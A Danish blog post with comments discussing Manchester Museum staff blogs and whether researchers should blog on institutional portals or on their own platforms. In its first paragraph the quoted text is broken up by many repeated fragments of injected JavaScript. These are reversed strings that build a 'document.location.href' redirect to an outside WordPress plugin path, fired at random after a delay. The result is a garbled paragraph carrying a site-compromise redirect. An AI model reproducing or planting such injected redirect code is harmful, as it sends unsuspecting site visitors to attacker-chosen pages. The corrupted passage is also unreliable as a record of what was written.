Kostas Arvanitis ved Centre for Museology, University of Manchester, fortæller om hvordan museum blogs udvikler sig ved Manchester Museum. Flere og flere ansatte ved museet har oprettet blogs “toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reflect upon their own work, offer a glimpse of what happens ‘behind the scenes’ and invite people toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to voice their views about all these”. Pt. har de i alt syv blogs: Egypt at the Manchester Museum, Lindon Man blog, Myths about Race, Our City blog, En-quire blog, Palaeomanchester og Frog blog. Flere kan komme.
Som Kostas påpeger så er disse blogs ikke en del af museets officielle hjemmeside, men individuelle blogs, der er oprettet på forskellige platforme. Omvendt så kan de besøgende på museets hjemmeside klikke sig ind på de individuelle blogs. Med Kostas’ formulering så åbner de “‘new spaces’ where the Museum takes place; online spaces that escape the ‘digital walls’ of the official website of the Museum”.
Jeg er specielt interesseret i Kostas’ post, fordi jeg tidligere har været involveret i en diskussion om forholdet mellem individuelle blogs og institutionshjemmesider i en anden sammenhæng, nemlig ‘science blogs’ vs. universiteter — se en kritisk post her, som gav anledning til en del kommentarer blandt ‘science bloggers’.
Det virker som om de ansatte ved Manchester Museum har fundet en god balance mellem individual blogs and institutionel formidling. Værd at diskutere videre, synes jeg.
Spændende post! Netop fordi museer rummer så store vidensmængder tror jeg at blogformatet er superrelevant for forskningsformidling.
Men jeg er usikker på, om oprettelse af blogs “udenfor” museets digitale rum, sådan som de gør i Manchester er det mest hensigtsmæssige. Bloggerne skriver jo i forhold til deres forskning og job, så hvorfor ikke arbejde på at udvide museets digitale udtryksform til også at rumme denne personlige stemme? Fx med en blogportal anskuet som et massemedie, ligesom de gør på Københavns Universitet med http://blogs.ku.dk. Vinder man noget rent SEO-mæssigt ved at hoste sine blogs hos wordpress og skabe links ind til hoveddomænet istedet for at blogge direkte på dette via subdomains?
Jeg mener bestemt, at man skal være åben overfor at arbejde på andre domæner, eftersom meget synlighed i dag handler om digital tilstedeværelse snarere end kun at forholde sig til “sin egen hjemmeside”. Men med blogmediet og til forskningsformidling er jeg ikke sikker på, at det bedste er eksterne blogs udenfor museet. Hvad synes andre?
Hej Charlotte, tak for respons.
Ja, jeg tror faktisk man vinder noget på at lade de individuelt baserede medarbejder-blogs samspille med den institutionelle hjemmeside/blog, istedet for at lægge medarbejder-blogs ind under hoveddomænet.
Hovedargumentet er at en blog ikke kun handler om indhold, men i høj grad også giver skribenten mulighed for at udtrykke sin egen æstetik. Ved at indgå i en fælles blogplatform der er tilbudt af institutionen så fjerner man de individuelle udtryk. I de tilfælde jeg kender til, så har det fået ret negative følger. Indholdsprofilen kører videre, men underlagt blogportalen æstetiske udtryk. Den form for æstetisk tyranni undgår man ved at acceptere at medarbejderne udvikler deres eget blogudtryk på deres eget domæne.
Jeg synes også det er politiske fordele i at understøtte de ansatte i at have en individuel stemme, der samspiller med institution, men ikke underlægges den. Ved at se positivt på selvstændige medarbejderblogs støtter institutionen medarbejdernes initiativ — det er et signal om at man ser medarbejderne som institutionens største aktiv, at institutionen faktisk er nul og niks uden medarbejderne. (Jeg kender ret mange institutioner som ikke forstår det 🙂
blogs.ku.dk er efter min mening et “godt” eksempel på at en fælles blogportal er en dårlig idé. Det blogverktøj der tilbydes er ikke fleksibelt nok for den som vil give et optimalt formmæssigt udtryk. Heldigvis fungerer blogs.ku.dk også som aggregator — dvs. Biomedicine on Displays poster aggregeres på portalen, selv om vi kører på vores egen platform udenfor portalen.
Jeg kan godt følge dine betragtninger om æstetik, Thomas. Men jeg er ikke helt enig 😉
De fleste større institutioner har jo i dag designprogrammer, der med en mere eller mindre hård hånd fastlægger det visuelle udtryk. Det kan opleves som meget snærende – men man kan også se det som en støtte for både en selv og instututionen at man har en godt visuelt brand. Man er jo også underlagt æstetiske rammer andre steder, hvis man fx vælger at lave en blog hos ét af medierne fx. Måske skulle vi i virkeligheden snarere derhen, hvor vi blev bedre til at kombinere den personlige og den institutionelle profil i udtryk med større variation? På ku´s blogportal – som er WordPress ligesom her på formidlingsnet – synes jeg umiddelbart, at der er relativt vide æstetiske rammer. De fleste af ku-blogs´ne er ret forskellige i deres udtryk.
Så er der spørgsmålet om hvorvidt man skal blogge på sin institution eller hos sig selv. Der kan siges meget både for og imod; ejerskab til indhold, domænestrategi etc. Men hvis man blogger arbejdsrelateret, fx som led i den forskning, man laver på sin arbejdsplads, synes jeg nu ikke det er så dumt, hvis man både giver og får værdi i et fællesskab med andre bloggere på samme instititution. Man kan jo evt. crossblogge indlæg på sin privatblog eller aggregere, hvis man har dén mulighed…
Det er nu langt fra alle på ku.blog.dk, der benytter sig af det værktøj ku stiller til rådighed, så den æstetiske variation kan være fordi siden også er aggregator (som Thomas vist kalder det). Da vi skulle udvidde Medicinsk Museions blog-familie fik jeg vores tekniske support-gut til at teste mulighederne inden for KUs host-rammer. Han mente ikke de opfyldte det, vi havde behov for. Vi har så ikke villet vente på, at KU følger med, når vi meget nemt kunne få noget bedre udefra. Charlotte har selvfølgelig ret i at det er spørgsmål om rettigheder og domænestrategi..Men er det ikke også i høj grad et spørgsmål om, om man vil og kan tøjle nettets anarki? Det er rigtig svært at styre.. Og meget nemt at omgå regler og politikker.. Institutionerne skal være rigtig fremme i skoene, hvis de skal stille up-to-date værktøj til rådighed.. Og så kan den enkelte blogger jo være langt ud over blogstepperne inden beslutningerne er taget.
Bortset fra det.. jeg synes jeg det er rigtig svært at diskutere det her – vi træder vel nyt land – vi ved ikke hvilke problemer, der pluselig kan opstå. Kan vi miste al data? Kommer der nogen og udnytter vores arbejde? Jeg venter på rappet over fingrene.. For jeg forstår det ikke helt, og vil hellere bruge tiden på at få en fed blog op at køre.. fx vores seneste skud på stammen http://www.museionblog.dk, der langsomt er ved at blive løbet igang.
Hej Charlotte – nu har jeg prøvet FIRE gange at poste en kommentar — umiddelbart ser det ud som de bliver accepteret, men der dukker ikke nogen op. Få se om denne lidt kortere kommentar duer.
Hej Charlotte, for at videreføre diskussionen, så lægger jeg her ind Kostas Arvanitis svar på min kommentar til hans post om blogs udenfor museets digitale rum (museumskolonier, hmm?):
My point about museum blogs being hosted outside the main museum website aimed to highlight how museums go beyond their ‘traditional digital walls’ and infiltrate other web spaces creating in a way ‘museum colonies’ on the Web (although ‘colonies’ may not be the most appropriate word! I am giving a paper about this on this conference: http://www.iosa.it/www/content/digital-heritage-new-knowledge-environment-shared-spaces-open-paths-cultural-content). In this way, museums not only find new channels of dissemination, but also create new entry points to the museums themselves.
In this context, I’d say the institutional presence is usually evident. And, with regards to the Manchester Museum blogs, the statement on the museum’s website ‘visit our blogs’ etc is a clear indication that the link from the museum to the blogs is much more than just a hyperlink. That said, I assume if one arrives to the Manchester Museum blogs from elsewhere, one may have a different perception of them.
I think the language used on a blog, the content of the posts, the way authors present themselves, whether the blog is part of the website or not, whether the blog links to the website or whether the museum website links to the blog, if the author(s) is eponymous or not, all these contribute to the issue of individual/institutional presence.
(taget herfra)
Jeg fjernede lidt html-kode (font mm), som dit system tydeligvis ikke kan lide 🙂